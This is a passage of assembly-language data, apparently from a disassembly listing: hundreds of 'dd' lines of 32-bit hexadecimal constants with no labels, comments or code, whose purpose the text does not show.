dd 0F94D812Fh, 53C561CEh, 4EC2BC34h, 8A84EB6h, 746EA140h
dd 951970DEh, 4680130Bh, 0B2C174B2h, 5034079Eh, 0AE8A75FCh
dd 8651AECAh, 8D6AF00h, 5E8AB8F4h, 0FCBE0515h, 6DBAFE07h
dd 0C35C1EBAh, 31CDC876h, 0C2F328B2h, 0BA195F6Dh, 9570D241h
dd 0DBEDE04Eh, 0B032AF0Dh, 6E3DFE8Dh, 6920A4CFh, 0EA124284h
dd 0CDC3AFA4h, 359832E8h, 7FE64AAAh, 36141E29h, 527FB8F6h
dd 0DCB7C396h, 0DB5E5748h, 3FF4F5ADh, 5D4E634Eh, 0E447BBC7h
dd 6237559h, 1E1AD1C4h, 8D07D595h, 4F805195h, 3E93693h
dd 0D81B739Eh, 25DAFBCDh, 0D48630B4h, 844F19F7h, 8DF1901Ah
dd 1CF86BFCh, 7EFB0CCAh, 57D00316h, 0BB1D0BDCh, 0B267A921h
dd 95196B1Bh, 61E32FB9h, 0C38394A6h, 9033440Eh, 2E0DFE9Dh
dd 4955AECFh, 152D12D5h, 58BE1133h, 0B62EBD52h, 1F928ABBh
dd 1B9798F5h, 597FB892h, 6EB4AFE2h, 69401A23h, 92EFF026h
dd 22B19AB4h, 4C683919h, 3A87D59h, 746EC35Ah, 3CB64644h
dd 0FB0AF17Dh, 0BB6DBBCDh, 756C8CD7h, 0AC3653F2h, 3F6821CAh
dd 0F564F333h, 709382D1h, 0A05353FCh, 7D4ECE7Bh, 0C8B80B9Fh
dd 3CB78BC6h, 706F2BA6h, 7676F409h, 37C86E06h, 334997D8h
dd 13DDAD7Ah, 561F58DAh, 0CBF52DCFh, 655AE77Fh, 0CCC11915h
dd 0B72EB9E0h, 7AE64ABAh, 0DF9011BFh, 417FB8B6h, 0BCB568A3h
dd 1718DF48h, 3BFB37A5h, 5D4E67C1h, 4EC2B093h, 8623655Fh
dd 746EF1F4h, 2093EAD5h, 4681D171h, 0BB6E3913h, 5319741Eh
dd 0AE96DEF9h, 2B8722CAh, 7CB64D83h, 8F3B2519h, 0BB35BFCh
dd 7D0E3EC3h, 0CDD3819Fh, 85028976h, 666FABAAh, 27157F6Fh
dd 569C5B89h, 0E3446F83h, 0D32A550Eh, 0AEEF5418h, 4BE58CAAh
dd 0D45D4281h, 14401B43h, 3B22F977h, 0F5B44692h, 0DB94600Ah
dd 0B61BE956h, 8CB56856h, 5291BBC8h, 0FBFB30A5h, 0D56A3D4Bh
dd 0C7DAEE07h, 0BA63E69Eh, 3CE539F1h, 0A3CB29A5h, 32816D19h
dd 30B7B861h, 0A56F782Fh, 7091980Dh, 0B8E2541h, 0F59E6FA3h
dd 8F0FB99Ch, 0FD5C8FCh, 5DEE03A5h, 0C9CFE416h, 0C089C976h
dd 544826A2h, 0A69C5F4Fh, 5E9E34F9h, 97ECEE45h, 0BE12AF0Eh
dd 6EFBCCACh, 0CB3892C9h, 26FA4282h, 0F4C11918h, 0B12A2D7Dh
dd 0F5EA3ECAh, 5C9835CBh, 952B3064h, 153C832Ah, 571CA2D3h
dd 8788BAA9h, 2BC5B5D9h, 0CD1CA985h, 878E49C5h, 0F4E899D4h
dd 8D93AA61h, 0C3088A50h, 0BB6F3B57h, 0DABF7933h, 0AE96417Ch
dd 3A918FCAh, 0F024182Eh, 0BE1A9D1Dh, 9B66422Eh, 0F08D1EC7h
dd 0CCE9E91Ah, 3B38276h, 7B60ABAEh, 1C54D4B9h, 46BC4CECh
dd 8DDE3B83h, 0FB9ED7B8h, 21CF54D6h, 724D775Ah, 0E5D9369Bh
dd 42BE1DDDh, 822EBD64h, 0F6379939h, 1718876Ch, 0E24EB917h
dd 0ADAFE083h, 2A1BDC2Eh
dd 7BFB362Ah, 504D6650h, 4EC2A082h, 5261588h, 0A65C09C8h
dd 24031FE4h, 0CB0F9241h, 0BB6FBB14h, 0CE16B0E7h, 0AEB9431Dh
dd 727B0DCAh, 7CA930E7h, 0D8B29919h, 2F97383Fh, 9389E7CBh
dd 3392DEB0h, 80064976h, 78612BAAh, 1B635F6Fh, 4EBA3059h
dd 0B2906B83h, 7382AF0Eh, 0DDB93C27h, 0C9752DC8h, 6692428Ch
dd 0C6C1191Dh, 832EB9F0h, 43D29B77h, 0F901272h, 0E803A637h
dd 7CB5645Ah, 1E16D94Dh, 3BF677A8h, 0DC4E6FDBh, 4282558Eh
dd 86234507h, 4730EFD8h, 20936A78h, 0B979C631h, 0BB603260h
dd 87DE791Eh, 0AE91B13Ah, 79770ECAh, 2BC7C7D2h, 0C933A4E5h
dd 3A607175h, 0D6D64F03h, 2665C9AFh, 738F5CFEh, 0AF07A31Ch
dd 0CFB13984h, 3C2392Ah, 23F2E8A3h, 0AD6717FDh, 904421D7h
dd 68F1C09h, 900997F8h, 4F90EED1h, 8CEE79DCh, 5F2EC384h
dd 50C94811h, 0C4103D14h, 0DB8F394Dh, 0F8A4A3D4h, 0C1D38466h
dd 0DACEF5AAh, 0C17EE2A2h, 689AA8Dh, 63FB8EAEh, 7633A6A4h
dd 125B8612h, 64D02CB8h, 0FC2DE1DFh, 408D1383h, 0E13FC913h
dd 89EB8828h, 3504F0C9h, 7F2539C4h, 0A05CE21Bh, 159247B2h
dd 1199D4CDh, 2A2DDAB8h, 665D710h, 610AE8B2h, 7712B2Ah
dd 42DDFD60h, 164B2DA5h, 3CB22F1Fh, 0CED367FAh, 6C3BD08h
dd 0F34228E8h, 9FC2E498h, 2013288Ah, 0E29FFB39h, 326ECC97h
dd 13B8E64Ah, 0EA6E08A5h, 0F906C5FFh, 6348F8F8h, 6519DA47h
dd 640A8AF2h, 9C52AF8Fh, 0DDD9C1FAh, 646F8752h, 745DE27Fh
dd 0CF5EC880h, 721577A3h, 4DDF7CBCh, 320F0D14h, 40A4B5DEh
dd 8A98CF55h, 0FA19FAA0h, 9FF67194h, 353763EEh, 0DBE1D88Fh
dd 47C70618h, 0C0004079h, 0F1C840C0h, 8A325E93h, 1B6F3D1h
dd 140C5331h, 76279A34h, 0BAAC779Dh, 874769DEh, 0A38A15ADh
dd 83F32AE9h, 5218F830h, 71380790h, 0BFFCC773h, 0E687A177h
dd 9A3B038Dh, 0E755CF4Ch, 5785088Ah, 3F832E66h, 6A7D2097h
dd 93D28DEh, 2A9BDF6Ch, 2DDE916Eh, 72374417h, 0AAC4F661h
dd 8B0C2673h, 0EF5A601Ah, 0E12C7BEh, 3BB3E38Bh, 2C96AE11h
dd 0CFED7861h, 0D849D1DBh, 0ED6CB8AFh, 0AB25E29Dh, 6B1561A3h
dd 23E376C2h, 0F584EB6Bh, 40480EB9h, 58A6D70Ch, 5902F11Ah
dd 963D90B1h, 8F885E8Ch, 0F71F08DBh, 0BB2D652h, 45625F26h
dd 0E4F7C319h, 47890BA4h, 0E9B77B8h, 531F7FA4h, 0A1507BAh
dd 504DACA7h, 2B6F4337h, 8CB0EF1Fh, 2BDBAB12h, 3CDB83D0h
dd 8431395h, 0C7BA2BBh, 87D9E685h, 0F7444CC3h, 0FACA43A8h
dd 0BABF731h, 0A505BB57h, 70AFD027h, 0BE237815h, 60F28AE4h
dd 55E0BF58h, 81BB173Ch, 3FEB8030h, 14A87FB5h, 531B133Ah
dd 64AD572Eh, 67F39B6h, 0BDF519D8h, 0A9AE4033h, 0FBB7BC84h
dd 6DAA6FA1h, 933C2F8Bh, 47AF740Ah, 0FF47B104h, 0EAA8D55Fh
dd 130CC145h, 38E74642h, 0AE2C19F5h, 3324A656h, 0ABA57B2Ah
dd 0DB1DD3EAh, 0E3E122DEh, 342505E1h, 64708A6Ch, 0B3E86182h
dd 5E891577h, 1D61570Dh, 9F34D356h, 626FC491h, 72CD2B37h
dd 0C614B0AEh, 40F970Dh, 26007610h, 3EA759B0h, 0D5A86078h
dd 11374947h, 8DF21AEFh, 0AEFC9A61h, 3153B3D3h, 201EB78Dh
dd 2C653BFAh, 3D50F99Ch, 0E60F8090h, 559C87FAh, 62B337F9h
dd 5DA217CFh, 0DFE052E8h, 558CAB3Dh, 7FAA4DEDh, 13B993E5h
dd 86D78376h, 0B3D38522h, 74F26A99h, 5C75E91Dh, 2EB5ECAh
dd 9407B0FAh, 0F6A06671h, 9167CA6Bh, 0E2498A6Ah, 0BB2E5CF8h
dd 8B617387h, 0A945CB45h, 473F34C4h, 0F36CF514h, 8B5EA47h
dd 0BC8D48D5h, 2418013Fh, 3FC7676Bh, 64CE2E7Eh, 0B7A16C38h
dd 8740FFF9h, 0D2CC7A81h, 722D9BABh, 8AED9B9h, 1EC666DFh
dd 6102D8B3h, 0FAA21A6Ah, 0CC4DD817h, 0E7AA5CD8h, 8DD47ED5h
dd 0C22874Bh, 7C7B73Dh, 973F21E2h, 3277EA3h, 69A30FA5h
dd 0BBE2E4CFh, 7A0F3921h, 4D1E755Ch, 0A71D9FB0h, 42565497h
dd 0C073D989h, 477C3546h, 862A38D1h, 8661975Bh, 49A893h
dd 75A3B57Ah, 9D47833Dh, 0E13E96FCh, 4381DDA3h, 0C50085A3h
dd 0BA8184A0h, 94088CAh, 0D3BF0200h, 5BAE68D9h, 4D1224B6h
dd 3F931985h, 0FE11EC07h, 0C80C6C52h, 62A8940Ch, 0A809C7FFh
dd 0A10AD563h, 0D463A87Bh, 93FD5460h, 9B75D01Fh, 23B18DC1h
dd 7E112DFFh, 9D575E59h, 7FFA6CF1h, 4CC17528h, 8B4DFE7Ch
dd 95F242A0h, 51A4B5C7h, 7B31D4EFh, 0BBBF9E29h, 0ADE9EA0Ah
dd 0EA7BF46Ch, 9CBC941Bh, 47AB65CEh, 624D4F44h, 171C863Eh
dd 0BCA22EFh, 139804E1h, 52D6C3F7h, 3E3E5ECCh, 231BAE83h
dd 497A0C55h, 0AE8424FEh, 2B6EBC32h, 1EDF56EFh, 0DABE9DC7h
dd 993DFF2Ch, 3DB3EEC3h, 0D067506Dh, 0BA0304B0h, 659E5B6h
dd 63B22C1Ch, 686D05E6h, 0B72664C4h, 156D71A3h, 73B89022h
dd 1977ED78h, 0A89C9ADFh, 69D4D334h, 0B459CDE8h, 8CB91CECh
dd 8C179363h, 35122A92h, 2EEE8246h, 589786Ch, 34021778h
dd 4975AAE8h, 871822AAh, 0A70B1AFDh, 36CFD5h, 78F4D526h
dd 0B1B88B0Ch, 7C16CC79h, 0CF00A163h, 9EBF658Ah, 6301BD54h
dd 580D5CF1h, 71266D89h, 0C67BD2B5h, 35E9151h, 3FDC5421h
dd 0F4B8CE72h, 0DA490F22h, 2434C9CFh, 0FCD8801Fh, 52983763h
dd 0DEE41ED6h, 777BC978h, 5F704A2Ch, 7576B6BBh, 9991B837h
dd 0C29CB0B2h, 0FA892794h, 4CEBE8B6h, 822C9625h, 8D8A3DB3h
dd 98CC6EB8h, 3B5728A8h, 767E704Bh, 0BF748D6Eh, 3E6C5083h
dd 7A9D2CD0h, 0F348B312h, 55DBD2A2h, 15FA06C9h, 1D1F36D7h
dd 5F678F61h, 0ABB65463h, 0BD91E68h, 21D2FD90h, 0D2462B4Fh
dd 45B7F94Bh, 0EB637050h, 0E205D975h, 0C20A4BAAh, 5563A037h
dd 5FBEC704h, 6B7C636h, 8929CA9Dh, 0B2B80FEAh, 4A8D78B3h
dd 2984ECEFh, 0E181125Ch, 8B8879FDh, 71BAD6C2h, 1E245E13h
dd 6D6BE20Bh, 565F77F8h, 0C55E2B49h, 7395112Fh, 0B831600Ch
dd 3455DAA1h, 56EA4A18h, 58F23AE4h, 2D9D0C66h, 0E5BBDA56h
dd 9A8472D9h, 0A878F1DAh, 6D0B3A46h, 25B549DCh, 259CCCFEh
dd 703A4099h, 0C77515F1h, 0DF706556h, 9B30ACCCh, 0F28BB9EFh
dd 4D9FE3CCh, 0A4AC5276h, 5D9CEFCDh, 0D003BBCAh, 0A3B7C8ABh
dd 41D6A798h, 62E275F5h, 0F96D7739h, 46310A2Dh, 4FA0E93Fh
dd 0CEA5834Bh, 844EA73Dh, 0BB46186h, 9121BB6Fh, 0A5041E13h
dd 344FAC67h, 97AD253Ah, 5FE1FC3Ch, 0C480CE3Ch, 0DA75E9E4h
dd 5816BBA7h, 0FF13F1D0h, 0F3905B27h, 2D806622h, 0D26ED43Eh
dd 0BF746D80h, 42566A91h, 0FD03F9CAh, 0B2B13A1Ah, 0D9790B48h
dd 0D294A2C4h, 5ADE1F2Fh, 0AC310C1Ch, 0F6EF419Dh, 0C4670D9Eh
dd 0A74CF8BBh, 5F0EC9Ah, 0CF65201Fh, 428CEA29h, 0CCC08ECCh
dd 8F609A15h, 0FBF3F0DBh, 0E24AE262h, 0D7EAEF6Bh, 0C06741DCh
dd 97CE9197h, 7F52FB8Ch, 0F2C639ECh, 85511Dh, 2F0A11CEh
dd 0A5DD87FBh, 0E9AF215Bh, 17A43907h, 0D458E1F7h, 0B6A15E54h
dd 9E58D31Fh, 0DED2FC23h, 2A5CD989h, 0C871986Dh, 4D3DB714h
dd 0CAD96FA7h, 90DBD0CAh, 0FCE65935h, 74A3127Ah, 3209769Bh
dd 0BF875085h, 0F71667EEh, 4FD6A46Dh, 38EEEFCAh, 0D455A06Dh
dd 776FAE94h, 76CB774Ah, 791CD30Eh, 0C61EFE1Fh, 34FC0308h
dd 686AA512h, 15030EDFh, 0EA234829h, 6E38DED7h, 0ABF08F9Ch
dd 6EBFFCEFh, 6F8E7295h, 4B8481F3h, 0BAC755h, 0ABEC57BBh
dd 3FC5EEC2h, 4DE90E49h, 9CCF6EC6h, 4F04F65Eh, 67A139F3h
dd 0B2ED1408h, 0ECDBF372h
dd 6462483Bh, 0EF079502h, 17C9E7C8h, 68872507h, 480CCCF9h
dd 0FE6E7338h, 0F3D42F58h, 90DA7333h, 69F120B5h, 0D4404BECh
dd 5C272B98h, 0ECEAC7FFh, 4ADB15A2h, 16BB7363h, 17A19E27h
dd 6968AA1h, 446C9FACh, 0B8B7B6D1h, 939F5C3Fh, 26F7D29h
dd 38652E11h, 0D81F915Dh, 0F282DDB5h, 574DBADDh, 0CBA5442Dh
dd 47DA5B27h, 20B08423h, 95835E06h, 941CB7B7h, 5CA65818h
dd 5DB955F5h, 0BA96AC59h, 3CCD102Eh, 8879BB68h, 0C388A3B2h
dd 31E5ACCFh, 5EE58D37h, 0E92EEFE1h, 90B673AFh, 7E195A5h
dd 3A4769A5h, 3620846Dh, 0F4F8Ch, 6E36EF6h, 70124AD4h
dd 43E5C217h, 3893902Dh, 0CE6C76BCh, 6A4D61FCh, 0C80F15BBh
dd 919E577Ah, 7124E416h, 596E3F52h, 0EEF8BF3Eh, 0ABEF86F5h
dd 0A70B0B39h, 6F22D7BAh, 0C62F2A8Dh, 5A95661h, 0A6EC79Bh
dd 26337D0Dh, 63978DB7h, 8B6E855Ah, 7ED00117h, 4A3D8011h
dd 9F21C4B8h, 9414921Eh, 7FF86A6Fh, 0E7FB0964h, 8755202Ch
dd 2F61DA48h, 55DBDC85h, 45937DCBh, 0D1FDDD10h, 0DD86BD47h
dd 0EE269DBDh, 9B5E431Ah, 1DC81E1Bh, 34962186h, 0FD5034Bh
dd 69BC0C71h, 0BEE63126h, 7C28536Fh, 9C1919B2h, 0AC945FF9h
dd 48F5A066h, 0A9C8C848h, 0BCFBBDBh, 61F3FE42h, 0B6F18326h
dd 7934C5C2h, 52E71482h, 0F77CE83Dh, 60A0F599h, 0F299579Fh
dd 3A38CCD3h, 1804B5E7h, 0D0E01A1Bh, 39C43A2Ah, 0BC4D7736h
dd 94CEAAEBh, 25CBD45Fh, 4BEC8FEEh, 796698E0h, 6A19B402h
dd 7741B6DEh, 0C09D31C0h, 0BD383A25h, 4B433195h, 0CA21C279h
dd 6BC26551h, 0B13595EEh, 0AE5A23B3h, 65600F53h, 7A63D70Ah
dd 0EEDD6199h, 0ECE3863Bh, 0A7129449h, 0C2E21965h, 3A073312h
dd 1D0219A4h, 39C6D8F6h, 612FF6F0h, 0D943283Ah, 0B97EE1AEh
dd 5FA604BFh, 36FC3C6h, 3A7110C1h, 53E228E8h, 32D5F10Fh
dd 3AD1AF5Ch, 62F0E0A5h, 53631640h, 5BC038D3h, 0D98FF60Eh
dd 541D160h, 0E2C81E50h, 6F91FC38h, 5BB4C4C7h, 87F544D0h
dd 99B562A7h, 0F02FC6CDh, 0B39D658Ah, 0E1E0BF19h, 38C6786Ch
dd 6CE46783h, 0FC09487Bh, 9528ED0Fh, 0D7403880h, 0DC2569B1h
dd 28C245Dh, 0A47D4A2Ah, 45B6DFBEh, 0A139BDABh, 0D4E4C68Eh
dd 0EE3D3A24h, 8006D469h, 6F46CF56h, 698C46BDh, 8A60F249h
dd 554A040Dh, 7853EDD1h, 2B4DA3E0h, 0D5E62144h, 32BBB704h
dd 6DCAAB21h, 0C41EE5Bh, 345A19D5h, 0C4553482h, 0BCEBF505h
dd 0B4286F20h, 0A133E1Ah, 204E55FFh, 0DEE687F8h, 3686799Ch
dd 12ED0D1Ah, 832504AEh, 47334B3Ah, 5C5AA43Eh, 0BBD22D4Fh
dd 94969D97h, 0B45EE5B0h, 516C5506h, 0B02D068Eh, 0AD2B5EA5h
dd 7EC66376h, 13371084h, 0E507116Bh, 37C7FFFBh, 5920E56Ch
dd 3B588217h, 0DD898A08h, 3175A846h, 0B971B9A8h, 6C9D00A7h
dd 78137AEAh, 0E982926Dh, 0EDAE265Ch, 506349C8h, 0B01F5912h
dd 5B8669F3h, 0AAF7DA36h, 17D2EC92h, 0D95E5813h, 0DA277E2Ah
dd 0EDDC5A1Ch, 5F3BD0C6h, 0BB0034C6h, 0FB7795E5h, 0C7C6B30Fh
dd 86962580h, 0B8022F2h, 45BDD2A9h, 51E3B3Ah, 26E55A00h
dd 12895E5Fh, 0B1900F9Fh, 50BB8DD2h, 830A1DE2h, 2B4F86A8h
dd 0CF0AB619h, 0F5E8C2C5h, 4FE2C7BDh, 61E7B9D4h, 0C06A1B83h
dd 4A5206B6h, 0F446D29Dh, 3459CBB7h, 2215DE08h, 4A87E324h
dd 4F6A926h, 302C3F90h, 0D6B8AC4h, 0AE206822h, 366F9E9Ah
dd 668C9C90h, 8C23464Ah, 0F38559A5h, 8B3CBF7Fh, 0E56D19EDh
dd 0ADE8451Fh, 4333155Ah, 9C78E53h, 7B369AAh, 3A7FD3EBh
dd 8E4FB72h, 0DFA39CC2h, 2BA09360h, 909018ACh, 8ABB638Bh
dd 2BA12937h, 76FF3E64h, 0FB6096ABh, 0FFD70FA6h, 0C369A4B7h
dd 364F0057h, 8774A363h, 0C520039Ch, 0FF056E1Eh, 0FCB1A51Ch
dd 562C21ACh, 1377F21h, 415601C9h, 1081647Dh, 513ACF8Fh
dd 0F7B8B40Dh, 0F3CDD228h, 6694E75Dh, 31850B50h, 0B6237C43h
dd 6A7FB721h, 0B2ADE49Bh, 7C73BF46h, 8A7DE991h, 9F06BF7Ch
dd 589E23B5h, 359436F2h, 0EBCE5CA6h, 95D1147Eh, 3DCC9E5h
dd 43EDB76Ah, 0B20C2F09h, 0FDAF45Bh, 0DCCBC7AAh, 0E498E70Dh
dd 4B8E697Bh, 0C79FAF2Bh, 314DA5DEh, 91FEB15Fh, 0EEC74C3h
dd 0E6A53910h, 4751F1CCh, 0AEA47984h, 0FA30569Bh, 6DF9A92Dh
dd 0C1E12431h, 0B1C3432Bh, 0E22626DBh, 65DC0194h, 32B9B65Fh
dd 3D8B059Dh, 14D7F8F3h, 2745DF17h, 270F4CA2h, 75A1A334h
dd 78D0145Eh, 49E70B81h, 0A60997BDh, 0D4320BAAh, 49DB574Ch
dd 895A04FCh, 0D8D8C02Fh, 104C2D93h, 5063C0Eh, 0FA94840Fh
dd 0AB82CA2Eh, 0ACF86289h, 0C30442CBh, 16E28021h, 2EEF6C4Bh
dd 0D70C85FEh, 0F175D8Dh, 0AF7082FBh, 2A878EA6h, 2EAC913Ah
dd 89BF6026h, 0A71C6352h, 0F13097EFh, 4CFD9636h, 0A3CD983Dh
dd 6B1CD531h, 2BBDE175h, 9645BB79h, 0C99DC854h, 431E5125h
dd 3F07502Ch, 2A306BBDh, 275ADB0Ah, 8BB58C5Dh, 547C32ADh
dd 48187D79h, 0D17E7185h, 21C949FCh, 98DC7C77h, 5B19E9D1h
dd 120D0FBAh, 377EB397h, 0BBD01276h, 0E46A41FCh, 0EE2FC99Fh
dd 4B01F09h, 0FAB1AE9h, 0A9C6651Ch, 98D2F28Ah, 7641E402h
dd 2BC71EC9h, 0AE26E99Fh, 89695855h, 14F83355h, 72B63560h
dd 9BD56DF0h, 0D5CF7E0Fh, 0BA26908h, 23BB4F01h, 0C489925Fh
dd 2F26BF3Fh, 0CEF8D582h, 0E47586DCh, 0B7E09C0Bh, 50F474FFh
dd 0C3436052h, 0A41F7A3Ah, 590BA081h, 2FFBFC74h, 993AAF27h
dd 0F73E0201h, 0E39C5616h, 84B844DFh, 0B69ED1EEh, 0AB10FB78h
dd 0E28214ACh, 0DD8D0833h, 1E25F046h, 9595754Eh, 9DB736F6h
dd 0EB14978Dh, 987115B2h, 74AF4B56h, 4AD12B54h, 0EBA1F38Ah
dd 74E3E741h, 93C74376h, 5707B00Ah, 904EFA1Eh, 5935A9E1h
dd 84F3E0D6h, 193FD459h, 1EC737Bh, 3754C6E6h, 5A5CBB27h
dd 0B110E767h, 3212E24Dh, 773795ECh, 4C8B847h, 0E7F86860h
dd 9730F5C8h, 0E54F0014h, 0ED58F998h, 253717E7h, 0AC55CD52h
dd 3BC98E2Bh, 0C8B795A0h, 4EA35137h, 11D9EEBEh, 6987F2B8h
dd 0EBA044A2h, 51714E89h, 3FA44B44h, 9C23571Ah, 0E16F4872h
dd 91A309E4h, 0E49AC8Ch, 0BEEE7ADh, 3EECA4BDh, 0B97ECC65h
dd 0AFC7AD3Eh, 8D690021h, 0DA7362C6h, 0D408B8A5h, 0A8B2141Eh
dd 62BD2C25h, 2A63C814h, 271BB6E8h, 0A0CABCDCh, 924EA6D1h
dd 0A01C372Eh, 1D5B26B7h, 6181983Dh, 1EB8DE43h, 323CADBFh
dd 2E6755E9h, 9DF89F85h, 0E13502B5h, 0E2A6A9A7h, 0CF5890DCh
dd 894B93E5h, 0D17D9A66h, 31A132F3h, 37A93E73h, 1AED5772h
dd 1889348Dh, 0F645B65h, 0D7EB59AAh, 0C17101A7h, 0DDB1578Dh
dd 0DDCDA361h, 0B1D03C82h, 18FF4552h, 0F9F63522h, 0AEE92D71h
dd 89F352A5h, 0A05047C6h, 6B2BCCA4h, 68CD7297h, 9034F196h
dd 0A0D3D401h, 2E58DD69h, 35CEE5EFh, 21EE8887h, 0CD7E7A86h
dd 0EC63002Bh, 0F7899398h, 246F8072h, 0DD595720h, 0B2627F7Ah
dd 8CAAE73Ah, 4C21C679h, 0BA42D820h, 3F11FC56h, 0C33E0921h
dd 0BB799AE0h, 4CA25195h, 603DFE35h, 80CD647h, 0FB0185B8h
dd 4B8A7A07h, 5407CD33h, 100FC436h, 0D1E86B8Ah, 0BAB958F2h
dd 325C5DE0h, 3BC125h, 4344A2E3h, 894B6017h, 7B99590Eh
dd 441FDB39h, 0D67CC1CCh, 0D0278482h, 6468830Ah, 4840413h
dd 51500225h, 0B50E5E3Dh, 7B47B3FFh, 9D0E240Fh, 967BD91Ah
dd 0E0A2464Ah, 4742B8CAh, 965D5207h, 70D1EBC1h, 0F2AA4067h
dd 5405D1A6h, 0ABEDBBA2h
dd 0CC182E9h, 0B5405D12h, 0A87AA23Eh, 387A3C83h, 0CB1C5F1Eh
dd 96BD5D06h, 3A8E8149h, 59635B33h, 90F8BDB3h, 3E5D075Bh
dd 0F3B2825Bh, 6FF435CAh, 3BEACA36h, 5D1D78ABh, 0A1AC138Ah
dd 0D8633C66h, 0F5E280B6h, 26901582h, 0BB20EA0Bh, 0B924AAE4h
dd 0BC987F5Fh, 7DEA4751h, 0F91565E1h, 0D29296BCh, 44B5DCF2h
dd 21524749h, 2E25172Bh, 305F00ABh, 549B6817h, 0DD93543Fh
dd 8E020524h, 0F96679E6h, 43AFEF49h, 26E34F4Fh, 6374A54h
dd 3565AE36h, 78E07AB7h, 0F66A177Ch, 0F8445173h, 0E541AA2Ah
dd 7E7B43D8h, 7F5CDB1Ch, 12DEAEDFh, 42AA37D7h, 62C57A39h
dd 0D7261B05h, 27521ED7h, 0B469F86Fh, 359DEE96h, 0F2C06147h
dd 0B9C0277Ah, 0E45278B7h, 0AC111E7Dh, 0AE38DD43h, 0C8EBCE52h
dd 0C61F0FCh, 0DC108228h, 0B1E9EA89h, 0A0E7B485h, 0E1475FA1h
dd 93A66E89h, 97628996h, 49D736E2h, 0DAF443E1h, 0B092F184h
dd 7F3BD657h, 0DF7E4101h, 22A989BBh, 0AE9ECF98h, 0B65CA474h
dd 8B1CA918h, 4FF524AAh, 62DFEB1Dh, 0C6C2A9BDh, 6A6BE306h
dd 0D40DC722h, 364C46E3h, 0DCBA297Bh, 0F0B5DC42h, 3B426A5Bh
dd 847C6E7Ah, 9B13FA7Eh, 0EE68B86Dh, 0ACE92244h, 0ACF5169Ah
dd 74416828h, 126D46B4h, 12CA254Ch, 2619F56Dh, 0D1A686A5h
dd 0F6EDC617h, 7BC4C4FEh, 8CC0DDB2h, 1781A8F3h, 901036D1h
dd 9DB84CFEh, 3CE76869h, 0B4F4C1A0h, 52BB6F0Eh, 0F575DA05h
dd 0DDD9DF65h, 30F5DD78h, 0C1C1CE82h, 40FA5A69h, 4E836969h
dd 0FB6F2E36h, 87AC6D9Bh, 2B72764Bh, 0AEC1BF37h, 1F39EF0Eh
dd 405BED95h, 5B9C1EADh, 7CDBD513h, 0B3E38490h, 0C640E530h
dd 39A57840h, 0DB79819Ah, 799E1FFEh, 3C81C730h, 897711B8h
dd 0D484CD58h, 0E814F2E8h, 26E15CEEh, 6B3FB9F8h, 7C5727F6h
dd 0CB305179h, 66CC75CFh, 4B62C48Eh, 3CBB3CF5h, 0EE04850Fh
dd 78968802h, 3D7E0C94h, 4AF58C3Ah, 0A9D5B7F2h, 0B0E88A1Eh
dd 0E5B8F2Dh, 0B4556927h, 0C3327240h, 0F79B8AE2h, 0F5EC4C2h
dd 895A878Eh, 353305ECh, 0B9554F5Ah, 37032255h, 0F02C1BD2h
dd 0C363C714h, 0CACB203Ch, 0E6B8FC10h, 0B0E2E718h, 0A38F08A0h
dd 0CF78598Fh, 12E59604h, 0ABEC8A24h, 0D45446B3h, 0F363368Bh
dd 0FD6B6608h, 7BB4F18Bh, 24AF9FD6h, 79AB4A69h, 2AC778D7h
dd 0EDC66360h, 3E4EB4E2h, 8B349354h, 395C2887h, 21881B42h
dd 300657E2h, 4778FF5Fh, 0B737DC60h, 0B03C5471h, 0D83BDDB8h
dd 366EF2BFh, 3F983EE2h, 121C557Fh, 57EC72F6h, 6521E71Fh
dd 0C56B4F0Ah, 0C2EC7438h, 0F4B0450Bh, 593B59D5h, 0D0815FAAh
dd 52B38F9Bh, 0FC7D74CDh, 0EE04D084h, 0EB74F81Dh, 2BF3D3B9h
dd 1B7583C8h, 0EF1236DDh, 41A17B2Bh, 0EF01F48h, 4090052Dh
dd 797ED700h, 0BA5884BAh, 520DC55Dh, 0A00D5D61h, 4D6B2425h
dd 9CA46719h, 0CA2770EBh, 4A4B5ADAh, 435DB7A7h, 0EBB2C4Eh
dd 4C96A167h, 0EF34EB9Fh, 0DBB77FB6h, 3E247F84h, 859978CAh
dd 90C1588h, 4E75A1BAh, 94868060h, 0BB003C69h, 7488FAD9h
dd 2A321F0Ch, 0CCA0C0C1h, 357B25E0h, 73D51149h, 0A21D93A9h
dd 4328F146h, 2A18D576h, 483BEF4Dh, 0FFE7FA58h, 11FCFEEFh
dd 30324ED0h, 0BEF353E8h, 0CEFAD5F7h, 54E45EF1h, 0E239076Eh
dd 4675C034h, 0CCF45E35h, 4B1327h, 731A320h, 5E9CB6Ah
dd 77E1AE07h, 91558C8Dh, 0F179B1D5h, 67446153h, 1F72ECF0h
dd 6DA5CBC9h, 0C43BD526h, 56399B3Fh, 605B5F23h, 0BF2494B5h
dd 11C679ECh, 14CAE756h, 3C5014ECh, 1A87ABEh, 196C792Ah
dd 0E491C856h, 9B43B63Fh, 17E8ABE2h, 48A20DCDh, 60DC8AC0h
dd 6D466765h, 1089D030h, 0D7C60E8Ch, 2DD93E66h, 8F1ADECh
dd 446477B4h, 0ECDA4141h, 0F499E2CAh, 0C9F3A97Fh, 36652D79h
dd 0CDC2127Fh, 506F5B8h, 0EF08ECACh, 0DC73AA95h, 0BFB1DEAAh
dd 51584084h, 0F7B4683Eh, 0FC7C86C4h, 0FBC352DDh, 159E7F9Bh
dd 82183980h, 76633046h, 0E9159442h, 8F3E7D5Ah, 9419A345h
dd 6FC940DFh, 0CF75BA6Eh, 0C68BB39Eh, 481BE696h, 898215ADh
dd 9ED671D0h, 94677E97h, 224B5ADCh, 43D6DF67h, 0F2ECB180h
dd 1F92CBC6h, 0A6F93B55h, 7C51DA6Fh, 7969DFCFh, 0EA97498Bh
dd 0ABB047B4h, 43856F0Ah, 21EE5547h, 1874FE67h, 0A200E792h
dd 0B0F1F061h, 8AA8404Ah, 4EF15BBDh, 31E7DA21h, 571DA5D7h
dd 5A335296h, 1B8B9003h, 0A05998Ch, 2EED0A15h, 0D769E6E4h
dd 0A2E98238h, 0A8C2FA7Fh, 8696E78h, 0B1982A4Dh, 1B49F89h
dd 7BF169D7h, 1D5E9815h, 0A5D06D50h, 0D6ABAA7Bh, 4513986Bh
dd 7F875684h, 547BEE0Eh, 34D0B47Ah, 0C8EE0649h, 942F4952h
dd 1B09783Ch, 0E104228Ah, 0E76D14B4h, 8BF8132h, 0D2CB7C51h
dd 0CF71EF6Eh, 0BBC95361h, 55CFF8BAh, 6734E10Ch, 3FCABF7Fh
dd 49E26167h, 126C4291h, 707F69BCh, 0DDE8B9Ah, 10675350h
